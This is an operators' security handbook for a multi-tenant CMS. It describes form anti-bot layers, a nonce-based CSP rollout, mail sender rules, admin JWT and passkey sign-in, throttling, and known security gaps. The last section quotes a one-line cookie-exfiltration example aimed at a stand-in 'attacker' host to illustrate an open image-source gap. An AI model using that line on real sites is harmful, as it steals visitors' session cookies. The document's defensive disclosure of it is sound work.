Operators handbook — security

The cross-cutting policies operators should know about: form protection, the browser-side content policy, mail-from refusal, canonical-host redirects, and admin authentication (JWT, the sign-in throttle, passkeys).

Form-protection stack

Six layers, all always-on, always in this order. There is no admin toggle for any of them — the protection is at the platform level, not per-tenant. Layers 1–5 stop bots and forged posts; layer 6 (spam scoring) filters human-submitted junk. Designer-side reference: ../forms.md.

1. Rate limit

Two buckets, both must pass; either trips → fail-closed with "Too many submissions. Please wait a few minutes and try again." flashed back as a form-level error.

Bucket Key Limit
cms_form_ip client IP 10 / 5 minutes
cms_form_per_form <websiteCode>:<formId> 30 / 5 minutes

A third bucket, cms_form_schema (client IP, 30 / 5 minutes), limits the endpoint that hands a visitor their own form schema on a cached page (below). Over it nothing is refused; the visitor goes through the confirm step instead.

The IP key falls back to 0.0.0.0 when the proxy stripped the address — that would otherwise sweep all anonymous traffic into one bucket. If you see legitimate users hitting the IP bucket, check that TRUSTED_PROXIES is configured in cms-public's environment.

Storage backs onto cache.rate_limiter. In dev that's filesystem (per-pod-local — fine for development); in prod it's Redis (cluster-wide enforcement across cms-public replicas).

2. Signed schema (HMAC + form-set integrity)

Every form_end() emits an _schema hidden field carrying the form's declared field list, the form id, the website's code and a unix issued_at timestamp, all base64url-encoded JSON and HMAC-SHA256 signed with the kernel secret (APP_SECRET).

Pages with a form are cached like any other page, so the schema in the page is a shared one: no nonce, nothing per visitor, and never delivered on. The form module trades it for a per-visitor schema (its own nonce, good for one accepted message, and its own issued_at) at POST /_cms/form/{websiteCode}/{formId}/schema when the visitor starts on the form. A post that still carries the shared schema (no JavaScript) is validated and sent back to be confirmed on a page rendered for that visitor alone, which carries a per-visitor schema. Full write-up: Forms on cached pages.

The submit controller decodes + verifies. Tampering with any part — adding a field, changing the form id, stripping a required marker — breaks the HMAC and the submission is rejected with "This form has expired. Please reload the page and try again."

This also enforces field-set integrity: only fields the schema declares are walked; anything extra in the POST is silently dropped. A bot that adds an unexpected password field gets nowhere.

3. Time-gate (3 seconds)

The signed issued_at of the visitor's own schema lets the controller measure time since the visitor got the form (on a cached page: since the form module fetched their schema). The shared schema in a cached page never counts. Submissions arriving in fewer than 3 seconds are treated as bots: silently redirected to "success" (no signal to the bot), logged at WARNING level for observability.

3 seconds is the floor — even a one-line contact form takes a real human longer. If you see legitimate users tripping this, file a bug; in over a year of design-team testing nobody hit it.

4. CSRF

One stateless Symfony CSRF token id, cms_form, for every form: the token in the page is a constant and the check is by origin (Sec-Fetch-Site, Origin or Referer), so rendering a form starts no session and the page can be cached. Failure: "Security token mismatch. Please check your details and send it again."

5. Honeypot

form_protection() emits an invisible _hp input (position: absolute; left: -9999px; aria-hidden). Bots fill every field they see; humans don't. A non-empty _hp is silently treated as success (again, no signal to the bot).

6. Spam scoring (content heuristic)

Layers 1–5 stop automated and forged submissions. The sixth catches the human-submitted junk that clears them — the SEO pitch, the casino link, the Cyrillic wall — by scoring the content of the validated fields. Signals (each weighted): links / bare domains, link markup, predominantly non-Latin script, known spam keywords, and being a duplicate of a submission to the same form within the last hour. A total of 5 or more is treated as spam.

What an operator needs to know:

  • A spam-scored submission is quarantined, not delivered: it lands in the website's submission log with status quarantined, the score, and the reasons — no email is sent, and the sender still sees the success page (so a false positive never tips off a real spammer).
  • The threshold, weights, and keyword list are fixed in cms-core. There is no per-website spam setting — nothing to configure on the Forms tab.
  • The submission log (form_submission_log, per website) records every submission that reaches scoring, with status sent / failed / quarantined / spam, and is retained indefinitely. It's where an operator reviews held submissions and releases or rejects them.

What got dropped

Cloudflare Turnstile used to be an opt-in protection on per-form config. Removed — the rate-limit + time-gate combo is collectively stronger for the contact-form threat model and removes a third-party dependency. If you find Turnstile keys still set on a website (legacy data), they're now ignored.

Content-Security-Policy

A CSP tells the browser which sources a page is allowed to load and execute. It is the last line rather than the first: it does not stop content from being injected, it stops injected content from doing anything. Everything below is per-deployment, not per-tenant, so all sites behind one cluster share it.

Where it comes from

The enforced policy is one nginx variable in cms-k8s, configs/nginx.conf, built from named vendor groups so a directive reads as a list of who, not a wall of hostnames. Adding a third-party widget to a site means adding its origin to the relevant group there, which is a cluster deploy, not a tenant setting.

Do not add a second Content-Security-Policy header anywhere else. Browsers apply every CSP header they receive as an intersection: a second header can only narrow the first, never widen it. Two headers that each look correct in isolation combine into something neither author intended, and the symptom is a blocked resource with no obvious owner.

The nonce

Every <script> tag cms-public renders carries a nonce="…", a random per-request value that also appears in the policy. The point of a nonce is that an injected script cannot guess it, so a policy built on nonces blocks XSS payloads even when they are inline, which a list of allowed hostnames does not.

The stamping is automatic. A Twig node visitor in cms-core rewrites every <script written in template source at compile time, so themes need no change and cannot forget. Two consequences worth knowing:

  • A tag the theme builds out of a variable is not stamped, on purpose. That is the shape an injected script arrives in, and it should fail.
  • A <script> stored in page content is likewise never nonced. If a tenant needs a third-party snippet, it belongs in the theme, where it is code and gets reviewed.

Rollout status

script-src still carries 'unsafe-inline', which means the policy does not yet block inline scripts. The nonce is being measured first, because of how browsers handle the two together: when a nonce is present in an enforced script-src, 'unsafe-inline' is ignored by design. There is no gradual switch. The moment the nonce joins the enforced policy, every script that was missed stops running.

So the strict policy ships alongside as Content-Security-Policy-Report-Only, which evaluates and reports but never blocks. Turn it on per deployment:

CMS_CSP_REPORT_ONLY=1

Violations POST to /_csp/report and land on the csp monolog channel, rate-limited per IP. Read them in Grafana:

{namespace="cms", app="cms-public", container="cms-public"} |= "\"channel\":\"csp\"" | json

or straight off the cluster:

kubectl --context <ctx> -n cms logs -l app=cms-public -c cms-public --since=24h \
  | grep '"channel":"csp"'

When that channel is quiet, the strict script-src can move into the enforced header. Until then it is instrumentation, not protection.

'unsafe-eval' is already gone: nothing served uses eval, new Function or string setTimeout. Note that a GTM container's Custom JavaScript variables are compiled with new Function, so a tenant who adds one will find it silently dead.

Two rules that are easy to get wrong

Never send a nonce on a 304. A revalidating browser keeps the body from its first visit, nonce and all, and a 304 answers with headers only, which per RFC 9111 update the stored response. A fresh nonce therefore lands on an old body and blocks every script in it. Under report-only that is a burst of reports; under enforcement it is a dead page for exactly the visitors who come back most. The app takes its policy headers off every 304 it sends, including the ones the page cache answers from a stored copy, whose nonce is that copy's render and not necessarily the one the browser kept.

A nonce is only as private as the cache in front of it. Public pages send s-maxage, so putting a CDN in front would serve one rendered body, and its one nonce, to every visitor for the cache lifetime. At that point the nonce is a value an attacker can simply fetch. Either those pages go no-store or the nonce is injected at the edge. There is no shared cache in front today.

Who may frame a public page

frame-ancestors allows the site itself plus whatever CMS_ADMIN_ORIGINS names (CSV of full origins, e.g. https://admin.example.com). It exists for the admin's inline editor, which loads public pages in an iframe.

Set it only on deployments where the editor actually runs. Unset, the app sends no frame-ancestors of its own and the edge policy stands. It used to be a hardcoded list of every environment's admin host, which meant any visitor to any tenant site could read the hostnames of admin panels they had nothing to do with.

Remember the intersection rule: if the edge policy says frame-ancestors 'self', naming an admin origin here will not unblock the iframe. The edge policy has to name it too.

Mail-from refusal model

The CMS will not silently relay mail under a generic platform- wide address. Every outbound mail must resolve to a per-tenant From: address. Otherwise, the mail is not sent and the failure is logged.

Why so strict? Sending under a generic relay address mis-attributes mail for SPF / DKIM / reputation purposes. A tenant's domain reputation should be theirs, and a misconfigured tenant should fail loudly (their forms 422 with a clear error) rather than appear to work and silently trash the relay's IP reputation.

The resolution chain

Each mailer walks per-channel override → website default → null. "null" means refuse + log.

Channel Override location Refusal behaviour
Form submits Per-form row's from_email/from_name field User-visible error: "This form is misconfigured (no sender address)."
Customer auth CustomerSettings.mailFromEmail / mailFromName Mail is silently dropped (registration / reset still succeeds). Logged ERROR.
Order receipts CheckoutSettings.mailFromEmail / mailFromName Mail is silently dropped (order still succeeds). Logged ERROR.

Display name falls back further: per-channel name → website default name → website's display name.

What operators set

  • Required: General tab → Mail sender — default email + name.
  • Optional per channel:
    • Forms tab → per-form Sender email override + Sender name override.
    • Module settings → Checkout → Order mail sender.
    • Module settings → Customer → Customer mail sender.

Leave the per-channel fields blank to inherit the default. Setting just one of email / name is fine — the other inherits.

What operators do NOT set

  • The SMTP relay (MAILER_DSN). Configured per-environment by ops.
  • SPF / DKIM / DMARC records for the tenant's domain. That's registrar / DNS work; the admin only stores the From: address.

Onboarding checklist for a new tenant

  1. Set the General → Mail sender default.
  2. Have ops authorise the relay's sending IP in your DNS:
    • SPF: include the relay (e.g. include:_spf.<relay>).
    • DKIM: publish the relay-provided public key in TXT records.
    • DMARC: at minimum v=DMARC1; p=none; rua=mailto:postmaster@example.nl so you can monitor before tightening.
  3. Send a test form submission, check that it arrives + that the recipient's mail client doesn't flag it as spam / spoofed.
  4. Configure per-channel overrides only if you want the channel to send from a different address (e.g. orders@… for receipts vs. info@… for everything else).

Canonical host redirects

Each website can have multiple hostnames in the Hosts tab. Mark exactly one as canonical. Visitors hitting any non-canonical host get a 301 to the canonical's equivalent path.

The redirect happens in PHP (cms-public's WebsiteRequestListener), not at the ingress — that means adding a host in the admin works immediately, no kdef changes. Trade-off: every non-canonical request boots PHP just to issue a redirect. Almost everyone lands on the canonical via Google after a week, so the cost is small.

If no host is marked canonical, no redirect happens. Useful during onboarding (you're testing across multiple domains and don't want auto-redirect) but leave one canonical for production — search engines treat www.example.nl and example.nl as separate sites otherwise, splitting your link equity.

Cluster probes: anything inside the cluster that hits the cms-public-svc service with a non-tenant Host header gets the standard "No website configured for host" 404 — same as before, no redirect logic involved. Probes that hit a tenant hostname (e.g. Host: foo.nl) and a /_* path (Symfony profiler / probe conventions) bypass the website-resolution logic entirely.

URLs the server fetches for an editor

A product CSV import downloads the image URLs an editor put in the file, from inside the cluster. Those requests only go to public addresses: loopback, private networks, link-local (the cloud metadata address), carrier-grade NAT, multicast and reserved ranges are refused, checked again on every redirect and pinned to the address that was checked. See Catalog → images in a product CSV import.

JWT auth (admin SPA only)

cms-api is stateless. The SPA holds two tokens in localStorage:

Key Lifetime What it does
cms-admin.access 15 minutes Sent as Authorization: Bearer … per call.
cms-admin.refresh 14 days Used silently to mint a new access token.

On a 401, the api wrapper calls me.refresh() and retries once. Two failed refreshes → tokens cleared, redirect to /login. Logging out is client-side only (clear localStorage) — there's no server-side session to revoke. If a token leaks, rotating JWT_PASSPHRASE in cms-api invalidates every outstanding token globally.

Admin sign-in throttle

Email + password sign-in (POST /admin/login) is rate limited, so a script cannot try passwords against an admin account as fast as the server can check them. Two limits, both counted before the password is checked:

Counted per Allowance Stops
email + client address 5 attempts, then 1 per 3 minutes guessing one admin's password
client address 20 attempts, then 1 per minute one client trying many accounts
  • A correct password gives the email its five attempts back, so in practice only failed attempts add up there. It does not reset the per-address count: someone with one valid account of their own cannot use it to clear the way for guesses at other accounts.
  • Case and surrounding spaces do not make another email: Admin@x.nl counts against admin@x.nl, as the login itself treats them as one account. An IPv6 client is counted per /64, which is what one subscriber is usually given.
  • Past the limit the answer is a 429 with a Retry-After header and the wait in the body. The admin sees "Too many sign-in attempts. Try again in N minutes." in their own language. The password is not checked at all for a refused attempt.
  • A locked-out admin waits the minutes shown, signs in from another network, or uses a passkey: passkey sign-in has no such limit (a passkey signature cannot be guessed), and neither does the token refresh (a signed token). To clear every counter at once, run bin/console cache:pool:clear cache.rate_limiter in a cms-api pod.

The counters live in the cluster Redis (cache.rate_limiter, on REDIS_URL), shared by every cms-api pod, and each update takes a Redis lock so a burst of parallel requests cannot all read the same count. If Redis is unreachable, sign-in goes on without the limit and cms-api logs an error ("Admin sign-in throttle unavailable"): locking every admin out for the length of a Redis outage would be worse.

In front of cms-api, neither the haproxy ingress nor the nginx sidecars have a rate limit of their own. CrowdSec on the cluster reads the ingress log and bans an address at the host firewall after a fast run of failed POSTs (its generic 401 brute-force scenario: more than five in quick succession). That catches one address spraying many accounts, but not slow guessing, and it does not count this throttle's 429s, so the throttle is what bounds guessing at a single account.

Passkeys (WebAuthn admin login)

Admins can log in with a passkey (a hardware key, a fingerprint / Face ID, or a synced credential from a password manager) as an alternative to email + password. Both routes end in the same JWT token pair as a password login — a passkey is an additional way in, not a separate session model and not a second factor.

  • Each admin keeps their password. A passkey doesn't replace it; it sits alongside as a phishing-resistant option. If a passkey is lost, password login still works — so there's no lockout-by-passkey and no separate recovery flow to manage.
  • Enrolment is self-service, in the admin's own account/security settings: the browser prompts to create a passkey, the admin gives it a label ("MacBook Touch ID", "YubiKey"), and it's saved. An admin can enrol several and remove any of them; each tracks its created and last-used dates.
  • Login is discoverable — the admin clicks "Sign in with a passkey" and the browser offers whatever resident keys it holds; no email is typed first.

Under the hood, an enrolled passkey is an admin_credential row (credential id, public key, signature counter, transports, label); each sign-in step is gated by a short-lived webauthn_challenge (5-minute TTL, single-use). The signature counter rejects cloned authenticators.

Scope / backups: admin credentials are global (tied to admin users, not to any one website), so they are excluded from per-website backups — restoring a tenant's content never touches anyone's passkeys. Deleting an admin user cascade-deletes their passkeys.

Impersonation ("viewing as …")

A super admin can act as another user, to reproduce what that person sees without asking for their password. The SPA shows a banner naming who you are viewing as, with an exit.

What it is, precisely: a normal token pair for the target user, tagged with the super's id. There is no server-side session being switched, because there are no sessions. So while impersonating you are that user, with exactly their roles and their website memberships, and nothing you do is more privileged than they are. Leaving mints a fresh pair back as yourself.

Two things are refused, both with a 422:

  • Impersonating yourself. Pointless.
  • Impersonating another super admin. A super already reaches everything, so the only thing this would add is a super acting as another super with no way to tell them apart afterwards.

Both the start and the end are written to the audit log, with the super's id and email and the target's. That is the compensating control for a feature whose entire purpose is acting as someone else, and it is also the reason the second refusal above exists.

The tag survives a token refresh, so a long session keeps the banner rather than quietly becoming an untagged login as the target user.

Theme codes and theme versions

A website's theme is a code (svbeautique), and deployed theme versions are stored per code, not per website: two websites with the same code share every version, and a version removed for one is gone for both.

  • Only a super admin sets a website's theme code and theme repository. Other admins see both read-only on the website's Theme tab, and the API ignores a value they send (the rest of the form still saves). Choosing a code decides which websites share their versions, and the deploy worker takes a code's repository from a website that carries the code, so both fields reach past the website they are on.
  • A theme code is one plain name: lowercase letters, digits, dashes and underscores, at most 64 characters. Anything else is refused on save, for super admins too.
  • Deploying, removing or skipping a version of a theme is allowed only when every website using that theme code is one you hold. Listing a theme's versions and activating one needs just one of them: your own website. A theme code that is also used by a website you do not hold is refused (403) for those three actions, and only a super admin can do them. A theme code none of your websites use answers 404, the same as a code that does not exist, so it does not reveal another tenant's theme.
  • Automated deploys (CI posting a tag to /api/admin/themes/<code>/versions) need an account that is a super admin or holds every website using that theme code.
  • A theme repository on another git host is read over HTTPS only, with the website's repository token if it has one. Redirects are not followed and the token is dropped whenever the repository changes, so it only ever goes to the host it was entered for. The token is sent in a header, never in the URL, so it does not show up in deploy errors.

Stored credentials are encrypted

The credentials a website stores are encrypted in the database and in every backup: the payment providers' keys (Mollie, Stripe), the bol.com client secret, the vehicle lookup provider tokens, the Meta Conversions API token and the theme repository access token. Someone with the database or a backup bundle reads ciphertext.

The key is CMS_SECRET_KEY in the cms-secret sealed secret, the same for cms-api, cms-public and cms-worker. A key is encrypted the moment it is saved; nothing needs doing per key.

  • Lose the key and every stored credential has to be entered again. Keep a copy in the password manager.
  • A value stored before the key existed, or restored from an older backup, still works unencrypted. bin/console cms:secrets:encrypt (in a cms-api pod, --dry-run first) encrypts whatever is not yet encrypted with the current key. Run it after restoring an old backup.
  • Changing the key: put the new key in CMS_SECRET_KEY and the old one in CMS_SECRET_KEY_PREVIOUS, restart the pods, run cms:secrets:encrypt, then remove the previous key. Keep the old key as long as a backup encrypted with it may need restoring.
  • Not APP_SECRET: rotating that (after a leak, say) must stay cheap, and would otherwise make every stored credential unreadable.

What's NOT enforced (yet)

  • Audit log of admin actions. There's no per-action history page. Database-level changes are timestamped (created_at/updated_at on most entities) but there's no "who changed what" trail.
  • Email retention / log. Outbound mail isn't archived. If a mail fails to send, it's gone — only the WARNING/ERROR log line remains. Open feature ask.
  • 2FA (beyond passkeys). Passkeys cover phishing-resistant login; TOTP / SMS aren't wired.
  • IP allowlisting for the admin. Anyone with valid creds can log in from anywhere.
  • Inline scripts are still allowed. script-src carries 'unsafe-inline', so the vendor allowlist above it only constrains external <script src> tags, which is not the shape an XSS payload takes. The nonce that replaces it is deployed and measuring; see Content-Security-Policy → rollout status.
  • img-src is https:, i.e. any HTTPS host. That is an exfiltration channel around the tight connect-src (new Image().src = 'https://attacker/?' + document.cookie). The report-only policy is collecting the real image hosts so it can be narrowed.